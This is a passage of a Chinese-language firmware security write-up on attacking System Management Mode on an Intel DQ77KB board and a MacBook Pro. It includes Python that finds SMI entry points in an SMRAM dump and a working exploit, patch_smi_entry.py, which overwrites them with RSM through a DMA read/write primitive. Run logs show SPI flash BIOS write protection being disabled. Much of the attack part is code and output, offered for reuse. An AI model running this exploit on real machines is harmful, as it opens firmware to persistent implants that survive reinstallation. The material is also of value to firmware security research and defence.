[+] Reading physical memory 0xd7582000 - 0xd759ffff
[+] Reading physical memory 0xd75a0000 - 0xd75bdfff
[+] Reading physical memory 0xd75be000 - 0xd75dbfff
[+] Reading physical memory 0xd75dc000 - 0xd75f9fff
[+] Reading physical memory 0xd75fa000 - 0xd7617fff
[+] Reading physical memory 0xd7618000 - 0xd7635fff
[+] Reading physical memory 0xd7636000 - 0xd7653fff
[+] Reading physical memory 0xd7654000 - 0xd7671fff
[+] Reading physical memory 0xd7672000 - 0xd768ffff
[+] Reading physical memory 0xd7690000 - 0xd76adfff
[+] Reading physical memory 0xd76ae000 - 0xd76cbfff
[+] Reading physical memory 0xd76cc000 - 0xd76e9fff
[+] Reading physical memory 0xd76ea000 - 0xd7707fff
[+] Reading physical memory 0xd7708000 - 0xd7725fff
[+] Reading physical memory 0xd7726000 - 0xd7743fff
[+] Reading physical memory 0xd7744000 - 0xd7761fff
[+] Reading physical memory 0xd7762000 - 0xd777ffff
[+] Reading physical memory 0xd7780000 - 0xd779dfff
[+] Reading physical memory 0xd779e000 - 0xd77bbfff
[+] Reading physical memory 0xd77bc000 - 0xd77d9fff
[+] Reading physical memory 0xd77da000 - 0xd77f7fff
[+] Reading physical memory 0xd77f8000 - 0xd77fffff
[+] DONE

奇怪的SMI入口点

现在我们可以读写SMRAM的内容了,通过修改其代码,可以防止SMM中的BIOSWE位复位。 你可能已经从Intel® 64 and IA-32 Architectures Software Developer’s Manual系统编程指南的第三章中了解到了:当处理器切换到系统管理模式时,它会开始执行SMI处理程序代码,该代码位于距SMRAM开头的固定偏移量0x8000处:

image-20230809162716258

所以要从操作系统设置BIOSWE位,我们只需要做一件事——使用从SMM退出到操作系统的RSM指令来修改SMI处理程序代码。在测试硬件上,我遇到了一些非常奇怪的事情:当我在十六进制编辑器中打开TSEG区域转储并检查0x8000偏移量时——我发现那里的数据看起来根本不像是有效的可执行代码:

localhost ~ # hexdump -C --skip 0x8000 --length 0x100 TSEG.bin
00008000 00 10 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 |................|
00008010 ee 03 00 00 00 00 00 00 b6 d7 15 77 34 b0 ff 97 |...........w4...|
00008020 83 46 8f 3f 79 14 d9 c5 99 94 82 dc ff e0 da bf |.F.?y...........|
00008030 c3 5b 2d 31 28 93 71 06 54 7d 64 20 8c 9a a3 82 |.[-1(.q.T}d ....|
00008040 bf 6b a2 e0 6a 13 4b 99 3c a2 c3 58 0a 3a 7b 8f |.k..j.K.<..X.:{.|
00008050 2d 24 cb 56 8e 4e b9 38 20 b3 4d 9c 4d 1a 58 8f |-$.V.N.8 .M.M.X.|
00008060 ce a9 3a 51 f6 6c 05 57 7b 2f 60 13 5b 5d d3 b4 |..:Q.l.W{/`.[]..|
00008070 a5 05 0f 07 ec c5 88 d1 91 5e 95 0a 21 11 ee 5a |.........^..!..Z|
00008080 8a 7f 0b a3 3b da f8 62 5c 56 e2 b7 4d 50 c2 e7 |....;..b\V..MP..|
00008090 1e a7 41 cd 1e 6c ea f9 de 36 a1 05 6e 08 d2 8b |..A..l...6..n...|
000080a0 1b 90 e1 d4 cf 61 02 ff 6b c4 fb fe c3 74 84 f5 |.....a..k....t..|
000080b0 27 63 5d ac 90 dd 2d 01 d4 4a a4 39 6c 97 53 84 |'c]...-..J.9l.S.|
000080c0 87 6d 1c 33 e4 dd 8c cc 1c 40 d3 05 82 d6 3f a1 |.m.3.....@....?.|
000080d0 77 a2 ce 44 18 4f 72 b1 48 52 f9 ae 17 d2 75 fb |w..D.Or.HR....u.|
000080e0 16 7f 54 d8 40 88 de 0b 89 7f 19 1a 67 c9 cd fe |..T.@.......g...|
000080f0 45 3f 7f 98 54 89 d4 03 11 69 55 b1 c1 8c 1e 5c |E?..T....iU....\|

为了调查此问题的原因,我下载了QuarkBoard Support Package,其中包含UEFI兼容主板固件的开源实现。Quark BSP还有一些系统管理模式代码——它的功能非常有限,并且不支持x86_64系统,但是它仍然可以告诉我们一些有用的信息。下面是Quark BSP源代码中的 SMI入口点:

IA32FamilyCpuBasePkg/PiSmmCpuDxeSmm/Ia32/SmiEntry.asm_SmiEntryPoint PROC
DB 0bbh ; mov bx, imm16
DW offset _GdtDesc - _SmiEntryPoint + 8000h
DB 2eh, 0a1h ; mov ax, cs:[offset16]
DW DSC_OFFSET + DSC_GDTSIZ
dec eax
mov cs:[edi], eax ; mov cs:[bx], ax
DB 66h, 2eh, 0a1h ; mov eax, cs:[offset16]
DW DSC_OFFSET + DSC_GDTPTR
mov cs:[edi + 2], ax ; mov cs:[bx + 2], eax
mov bp, ax ; ebp = GDT base
DB 66h
lgdt fword ptr cs:[edi] ; lgdt fword ptr cs:[bx]
DB 66h, 0b8h ; mov eax, imm32
gSmiCr3 DD ?
mov cr3, eax
DB 66h
mov eax, 020h ; as cr4.PGE is not set here, refresh cr3
mov cr4, eax ; in PreModifyMtrrs() to flush TLB.
DB 2eh, 0a1h ; mov ax, cs:[offset16]
DW DSC_OFFSET + DSC_CS
mov cs:[edi - 2], eax ; mov cs:[bx - 2], ax
DB 66h, 0bfh ; mov edi, SMBASE
gSmbase DD ?
DB 67h
lea ax, [edi + (@32bit - _SmiEntryPoint) + 8000h]
mov cs:[edi - 6], ax ; mov cs:[bx - 6], eax
mov ebx, cr0
DB 66h
and ebx, 9ffafff3h
DB 66h
or ebx, 80000023h
mov cr0, ebx
DB 66h, 0eah
DD ?
DW ?
_GdtDesc FWORD ?
@32bit:


;
; 32-bit SMI handler code goes here
;

SMI处理程序在类似于实模式的16位环境中开始执行,上面列出的代码执行了执行环境的基本初始化,并跳转到32位保护模式,多数SMM的东西都在该模式下运行。 利用这些信息,我编写了一个Python程序,该程序通过16位代码存根来使用简单的签名在TSEG转储中查找SMI入口点:

import sys, os, struct


#
# 从SMRAM转储中提取SMI入口信息。
#
def find_smi_entry(data):


#
# 标准SMI入口存根签名
#
ptr = 0
sig = [ '\xBB', None, '\x80', # mov bx, 80XXh
'\x66', '\x2E', '\xA1', None, '\xFB', # mov eax, cs:dword_FBXX
'\x66', None, None, # mov edx, eax
'\x66', None, None ] # mov ebp, eax


while ptr < len(data):


found = True
for i in range(len(sig)):


# 在SMRAM的每100h偏移处检查签名
if sig[i] is not None and sig[i] != data[ptr + i]:


found = False
break


if found:


print 'SMI entry found at 0x%x' % ptr


ptr += 0x100


def main():


find_smi_entry(open(sys.argv[1], 'rb').read())
return 0


if __name__ == '__main__':


sys.exit(main())

该程序成功找到了四次不同的处理程序代码,看起来很不错——每个CPU内核都有一个专用的SMI入口点:

localhost ~ # python smi_entry.py TSEG.bin
SMI entry at 0x3f6800
SMI entry at 0x3f7000
SMI entry at 0x3f7800
SMI entry at 0x3f8000

下面是我的Intel DQ77KB主板上反汇编的SMI入口点:

;
; 16-bit SMI entry stub that enables protected mode
;
mov bx, 8091h ; Get GDT descriptor address
mov eax, cs:0FB48h ; Get physical address of new GDT
mov edx, eax
mov ebp, eax
add edx, 50h
mov [eax+42h], dx ; Initialize GDT entry
shr edx, 10h
mov [eax+44h], dl
mov [eax+47h], dh
mov ax, cs:0FB50h
dec ax
mov cs:[bx], ax ; Set GDT limit
mov eax, cs:0FB48h
mov cs:[bx+2], eax ; Set GDT physical address
db 66h
lgdt fword ptr cs:[bx] ; Switch to the new GDT
mov eax, 0D73CB000h
mov cr3, eax ; Set page directory base
mov eax, 668h
mov cr4, eax ; Enable PAE
mov ax, cs:0FB14h
mov cs:[bx+48h], ax ; Patch long mode jump with CS segment selector
mov ax, 10h
mov cs:[bx-2], ax ; Patch protected mode jump with CS segment selector
mov edi, cs:0FEF8h
lea eax, [edi+80DBh] ; Get 64-bit stub address
mov cs:[bx+44h], eax ; Patch long mode jump with given address
lea eax, [edi+8097h] ; Get 32-bit stub address
mov cs:[bx-6], eax ; Patch protected mode jump with given address
mov ecx, 0C0000080h ; IA32_EFER MSR number
mov ebx, 23h
mov cr0, ebx ; Enable protected mode
jmp large far ptr 10h:0D73F6897h ; Jump to the protected mode code


;
; 32-bit SMI entry stub that enables long mode
;
mov ax, 18h
mov ds, ax ; Update protected mode segment registers
mov es, ax
mov ss, ax
mov al, 1


loc_D73F68A3:


xchg al, [ebp+8]
cmp al, 0
jz short loc_D73F68AE
pause
jmp short loc_D73F68A3


loc_D73F68AE:


mov eax, ebp
mov edx, eax
mov dl, 89h
mov [eax+45h], dl
mov eax, 40h
ltr ax
mov al, 0
xchg al, [ebp+8]
rdmsr ; Read current IA32_EFER MSR value
or ah, 1 ; Set long mode enabled flag
wrmsr ; Update IA32_EFER MSR value
mov ebx, 80000023h
mov cr0, ebx ; Enable paging
db 67h
jmp far ptr 38h:0D73F68DBh ; Jump to the long mode code


;
; 64-bit SMI entry stub that calls UEFI SMM foundation code
;
lea ebx, [edi+0FB00h]
mov ax, [rbx+16h]
mov ds, ax ; Update long mode segment registers
mov ax, [rbx+1Ah]
mov es, ax
mov fs, ax
mov gs, ax
mov ax, [rbx+18h]
mov ss, ax
mov rsp, 0D73D4FF8h
mov rcx, [rsp]
mov rax, 0D70044E4h
sub rsp, 208h
fxsave qword ptr [rsp] ; Save FPU registers
add rsp, 0FFFFFFFFFFFFFFE0h
call rax ; sub_D70044E4() that does SMI handling stuff
add rsp, 20h
fxrstor qword ptr [rsp] ; Restore FPU registers
rsm

不幸的是,我还没有弄清楚为什么我的主板固件SMI入口点实际位于如此奇怪的偏移处,而不是根据所有公开可用的文档应该位于的0x8000。这可能与Sandy Bridge有某种关系,因为我的另一台具有相同硬件的测试系统(Apple MacBook Pro 10,2)也是一样的SMI偏移量。如果你有任何有关此问题的信息,请告诉我:)

修改SMI入口点

现在我们清楚了SMI入口点的地址,接下来可以通过RSM指令来修改这些入口点,使BIOSWE位置1,实现DMA攻击:

# RSM + NOP patch for SMI entry
SMI_ENTRY_PATCH = '\x0F\xAA\x90'


def patch_smi_entry(smram_addr, smram_size):


ret = 0
modified_pages = {}


print '[+] Dumping SMRAM...'


# initialize exploit
expl = dma_expl.DmaExpl(smram_addr)


try:


# read all SMRAM contents
data = expl.read(smram_size)
expl.close()


except Exception, e:


expl.close()
raise


print '[+] Patching SMI entries...'


# find SMI handlers offsets
for ptr in find_smi_entry(data):


page_offs = ptr & 0xFFF
page_addr = ptr - page_offs


# get data for single memory page
if modified_pages.has_key(page_addr):


page_data = modified_pages[page_addr]


else:


page_data = data[ptr : ptr + dma_expl.PAGE_SIZE]


# patch first instruction of SMI entry
page_data = page_data[: page_offs] + SMI_ENTRY_PATCH + \
page_data[page_offs + len(SMI_ENTRY_PATCH) :]


modified_pages[page_addr] = page_data
ret += 1


for page_addr, page_data in modified_pages.items():


# initialize exploit
expl = dma_expl.DmaExpl(smram_addr + page_addr)


try:


# write modified page back to SMRAM
expl.write(page_data)
expl.close()


except Exception, e:


expl.close()
raise


print '[+] DONE, %d SMI handlers patched' % ret


return ret

我编写一个名为patch_smi_entry.py的python程序,该程序可以接受SMRAM地址和大小为命令行参数,完成所有的工作并报告BIOS写入启用状态。 在正常运行的SMM代码上检查BIOS写保护:

localhost chipsec # python chipsec_util.py spi disable-wp


[CHIPSEC] Executing command 'spi' with args ['disable-wp']


[CHIPSEC] Trying to disable BIOS write protection..
[-] Couldn't disable BIOS region write protection in SPI flash
[CHIPSEC] (spi disable-wp) time elapsed 0.000

运行SMI修改程序来攻击SMM代码:

localhost ~ # python patch_smi_entry.py 0xd7000000 0x800000
[+] BIOS_CNTL is 0x2a
[!] Can't set BIOSWE bit, BIOS write protection is enabled
[+] Dumping SMRAM...
[+] Memory allocated at 0x7f614ee2b000
[+] Physical address is 0xc973f000
Pass 1: parsed user script and 109 library script(s) using 62172virt/36372res/4212shr/32972data kb, in 170usr/10sys/315real ms.
Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108876virt/84540res/5632shr/79676data kb, in 810usr/440sys/13062real ms.
Pass 3: translated to C into "/tmp/stapi26CgT/stap_06ba24e9748ef9297b5a524f191d9536_7942_src.c" using 108876virt/84684res/5776shr/79676data kb, in 190usr/50sys/251real ms.
Pass 4: compiled C into "stap_06ba24e9748ef9297b5a524f191d9536_7942.ko" in 3550usr/310sys/6154real ms.
Pass 5: starting run.
[+] SystemTap script started
[+] Reading physical memory 0xd7000000 - 0xd701dfff
[+] Reading physical memory 0xd701e000 - 0xd703bfff
[+] Reading physical memory 0xd703c000 - 0xd7059fff
[+] Reading physical memory 0xd705a000 - 0xd7077fff
[+] Reading physical memory 0xd7078000 - 0xd7095fff
[+] Reading physical memory 0xd7096000 - 0xd70b3fff
[+] Reading physical memory 0xd70b4000 - 0xd70d1fff
[+] Reading physical memory 0xd70d2000 - 0xd70effff
[+] Reading physical memory 0xd70f0000 - 0xd710dfff
[+] Reading physical memory 0xd710e000 - 0xd712bfff
[+] Reading physical memory 0xd712c000 - 0xd7149fff
[+] Reading physical memory 0xd714a000 - 0xd7167fff
[+] Reading physical memory 0xd7168000 - 0xd7185fff
[+] Reading physical memory 0xd7186000 - 0xd71a3fff
[+] Reading physical memory 0xd71a4000 - 0xd71c1fff
[+] Reading physical memory 0xd71c2000 - 0xd71dffff
[+] Reading physical memory 0xd71e0000 - 0xd71fdfff
[+] Reading physical memory 0xd71fe000 - 0xd721bfff
[+] Reading physical memory 0xd721c000 - 0xd7239fff
[+] Reading physical memory 0xd723a000 - 0xd7257fff
[+] Reading physical memory 0xd7258000 - 0xd7275fff
[+] Reading physical memory 0xd7276000 - 0xd7293fff
[+] Reading physical memory 0xd7294000 - 0xd72b1fff
[+] Reading physical memory 0xd72b2000 - 0xd72cffff
[+] Reading physical memory 0xd72d0000 - 0xd72edfff
[+] Reading physical memory 0xd72ee000 - 0xd730bfff
[+] Reading physical memory 0xd730c000 - 0xd7329fff
[+] Reading physical memory 0xd732a000 - 0xd7347fff
[+] Reading physical memory 0xd7348000 - 0xd7365fff
[+] Reading physical memory 0xd7366000 - 0xd7383fff
[+] Reading physical memory 0xd7384000 - 0xd73a1fff
[+] Reading physical memory 0xd73a2000 - 0xd73bffff
[+] Reading physical memory 0xd73c0000 - 0xd73ddfff
[+] Reading physical memory 0xd73de000 - 0xd73fbfff
[+] Reading physical memory 0xd73fc000 - 0xd7419fff
[+] Reading physical memory 0xd741a000 - 0xd7437fff
[+] Reading physical memory 0xd7438000 - 0xd7455fff
[+] Reading physical memory 0xd7456000 - 0xd7473fff
[+] Reading physical memory 0xd7474000 - 0xd7491fff
[+] Reading physical memory 0xd7492000 - 0xd74affff
[+] Reading physical memory 0xd74b0000 - 0xd74cdfff
[+] Reading physical memory 0xd74ce000 - 0xd74ebfff
[+] Reading physical memory 0xd74ec000 - 0xd7509fff
[+] Reading physical memory 0xd750a000 - 0xd7527fff
[+] Reading physical memory 0xd7528000 - 0xd7545fff
[+] Reading physical memory 0xd7546000 - 0xd7563fff
[+] Reading physical memory 0xd7564000 - 0xd7581fff
[+] Reading physical memory 0xd7582000 - 0xd759ffff
[+] Reading physical memory 0xd75a0000 - 0xd75bdfff
[+] Reading physical memory 0xd75be000 - 0xd75dbfff
[+] Reading physical memory 0xd75dc000 - 0xd75f9fff
[+] Reading physical memory 0xd75fa000 - 0xd7617fff
[+] Reading physical memory 0xd7618000 - 0xd7635fff
[+] Reading physical memory 0xd7636000 - 0xd7653fff
[+] Reading physical memory 0xd7654000 - 0xd7671fff
[+] Reading physical memory 0xd7672000 - 0xd768ffff
[+] Reading physical memory 0xd7690000 - 0xd76adfff
[+] Reading physical memory 0xd76ae000 - 0xd76cbfff
[+] Reading physical memory 0xd76cc000 - 0xd76e9fff
[+] Reading physical memory 0xd76ea000 - 0xd7707fff
[+] Reading physical memory 0xd7708000 - 0xd7725fff
[+] Reading physical memory 0xd7726000 - 0xd7743fff
[+] Reading physical memory 0xd7744000 - 0xd7761fff
[+] Reading physical memory 0xd7762000 - 0xd777ffff
[+] Reading physical memory 0xd7780000 - 0xd779dfff
[+] Reading physical memory 0xd779e000 - 0xd77bbfff
[+] Reading physical memory 0xd77bc000 - 0xd77d9fff
[+] Reading physical memory 0xd77da000 - 0xd77f7fff
[+] Reading physical memory 0xd77f8000 - 0xd77fffff
[+] DONE
[+] Patching SMI entries...
SMI entry found at 0x3f6000
SMI entry found at 0x3f6800
SMI entry found at 0x3f7000
SMI entry found at 0x3f7800
SMI entry found at 0x3f8000
[+] Memory allocated at 0x7f614a470000
[+] Physical address is 0x3ef092000
Pass 1: parsed user script and 109 library script(s) using 62176virt/36352res/4192shr/32976data kb, in 160usr/10sys/172real ms.
Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108880virt/84616res/5708shr/79680data kb, in 790usr/200sys/995real ms.
Pass 3: translated to C into "/tmp/stapEg28Q9/stap_b74b06d8681a8605cef014148ae17b5b_7943_src.c" using 108880virt/84744res/5836shr/79680data kb, in 180usr/60sys/237real ms.
Pass 4: compiled C into "stap_b74b06d8681a8605cef014148ae17b5b_7943.ko" in 3530usr/280sys/5236real ms.
Pass 5: starting run.
[+] SystemTap script started
[+] Writing physical memory 0xd73f6000 - 0xd73f6fff
[+] DONE
[+] Memory allocated at 0x7f614ee2b000
[+] Physical address is 0x3f3bcf000
Pass 1: parsed user script and 109 library script(s) using 62176virt/36284res/4124shr/32976data kb, in 160usr/10sys/173real ms.
Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108880virt/84532res/5628shr/79680data kb, in 790usr/200sys/995real ms.
Pass 3: translated to C into "/tmp/stapaurR1A/stap_f296db5c81c5158e1ac0e155bbaaf3b6_7943_src.c" using 108880virt/84660res/5756shr/79680data kb, in 180usr/60sys/233real ms.
Pass 4: compiled C into "stap_f296db5c81c5158e1ac0e155bbaaf3b6_7943.ko" in 3530usr/260sys/6606real ms.
Pass 5: starting run.
[+] SystemTap script started
[+] Writing physical memory 0xd73f7000 - 0xd73f7fff
[+] DONE
[+] Memory allocated at 0x7f614a470000
[+] Physical address is 0x3ef096000
Pass 1: parsed user script and 109 library script(s) using 62176virt/36396res/4236shr/32976data kb, in 160usr/10sys/172real ms.
Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108880virt/84656res/5752shr/79680data kb, in 790usr/200sys/997real ms.
Pass 3: translated to C into "/tmp/stapXeWg7I/stap_5ab1311d1369a5f00c3287bf44fa61aa_7943_src.c" using 108880virt/84784res/5880shr/79680data kb, in 190usr/50sys/236real ms.
Pass 4: compiled C into "stap_5ab1311d1369a5f00c3287bf44fa61aa_7943.ko" in 3530usr/270sys/4677real ms.
Pass 5: starting run.
[+] SystemTap script started
[+] Writing physical memory 0xd73f8000 - 0xd73f8fff
[+] DONE
[+] DONE, 4 SMI handlers patched
[+] BIOS_CNTL is 0x2a
[+] BIOSWE bit was set, BIOS write protection is disabled now

现在BIOS写保护被禁用了:

localhost chipsec # python chipsec_util.py spi disable-wp


[CHIPSEC] Executing command 'spi' with args ['disable-wp']


[CHIPSEC] Trying to disable BIOS write protection..
[+] BIOS region write protection is disabled in SPI flash
[CHIPSEC] (spi disable-wp) time elapsed 0.000

请注意,在运行DMA攻击代码之前,你还需要运行 CHIPSEC的 boot_script_table模块来利用UEFI启动脚本表漏洞并禁用TSEGMB保护,在其他情况下——如在正确锁定了SMRAM的读写区域时,执行patch_smi_entry.py或dma_expl.py可能会导致意外行为(比如系统被冻结)。 为了更方便地在我的测试硬件上处理这种攻击,我在USB闪存驱动器上安装了带有正确配置内核的Gentoo Linux,并把CHIPSEC代码和所有必要的东西都备份在里面了。

image-20230809162742381

我的Apple MacBook Pro 10,2(也有UEFI启动脚本表漏洞)不受SMI入口点修改程序的影响,因为它使用BIOS保护区域寄存器(完全不依赖SMM),而不是用BIOS_CNTL来实现闪存写保护。但是,dma_expl.py程序支持此Apple硬件,并且我能转储它的SMRAM中的内容,这对于其他研究目的(例如SMM代码的安全审计)可能很有用。

附录

不久前,有两篇关于SMM代码漏洞的类似工作:Intel Security的“A New Class of Vulnerabilities in SMI Handlers”和LegbaCore的“How Many Million BIOSes Would you Like to Infect?”。这些作者发现了SMI软件处理程序中的许多漏洞,这些漏洞是通过固件代码使用EFI_SMM_SW_DISPATCH2_PROTOCOL注册的,操作系统可以通过将处理程序编号写入AMPC I/O端口B2h来触发此类处理程序。 为了检查我的机器的SMM代码是否存在此类漏洞,我还写了两个Python脚本,用来转储的SMRAM内容,并找到所有已注册的SW SMI处理程序及其编号。也许你会发现它很有用。 在Intel DQ77KB中:

'''
Extract SW SMI handlers information from SMRAM dump.
Example:


$ python smi_handlers.py TSEG.bin
0xcc: 0xd70259d8
0xb8: 0xd706673c
0xba: 0xd706e970
0x05: 0xd706b474
0x04: 0xd706b45c
0x03: 0xd706b2e0
0x01: 0xd706b2dc
0xa1: 0xd70664c4
0xa0: 0xd706636c
0x40: 0xd70254f8


'''
import sys, os, struct


def main():


path = sys.argv[1]
data = open(path, 'rb').read()


for i in range(len(data)):


# get range from string
data_at = lambda offs, size: data[i + offs : i + offs + size]


#
# 00: "SMIH"
# 04: handler address (qword)
# 0c: SW SMI value (byte)
#
if data_at(0, 4) == 'SMIH':


addr, val = struct.unpack('QB', data_at(4, 8 + 1))


if val != 0 and addr < 0xffffffff:


print '0x%.2x: 0x%.8x' % (val, addr)




if __name__ == '__main__':


sys.exit(main())

在Apple MacBookPro 10,2中:

'''
Extract SW SMI handlers information from SMRAM dump.
Example:


$python smi_handlers.py TSEG.bin
0x25: 0x893aaca0
0x48: 0x893a3170
0x01: 0x893a831c
0x05: 0x893a7fa0
0x03: 0x893a7e46
0xf1: 0x893a7dd5
0xf0: 0x893a7b76


'''
import sys, os, struct


def main():


path = sys.argv[1]
data = open(path, 'rb').read()


for i in range(len(data)):


# get range from string
data_at = lambda offs, size: data[i + offs : i + offs + size]


#
# 00: "DBRC"
# 68: handler address (qword)
# 70: SW SMI value (byte)
#
if data_at(0, 4) == 'DBRC':


addr = struct.unpack('Q', data_at(0x68, 8))[0]
val = struct.unpack('B', data_at(0x70, 1))[0]


if val != 0 and addr < 0xffffffff:


print '0x%.2x: 0x%.8x' % (val, addr)


if __name__ == '__main__':


sys.exit(main())

我把DMA攻击和SMI入口点修改的代码更新到UEFI引导脚本表的GitHub库里了,祝你玩得开心:)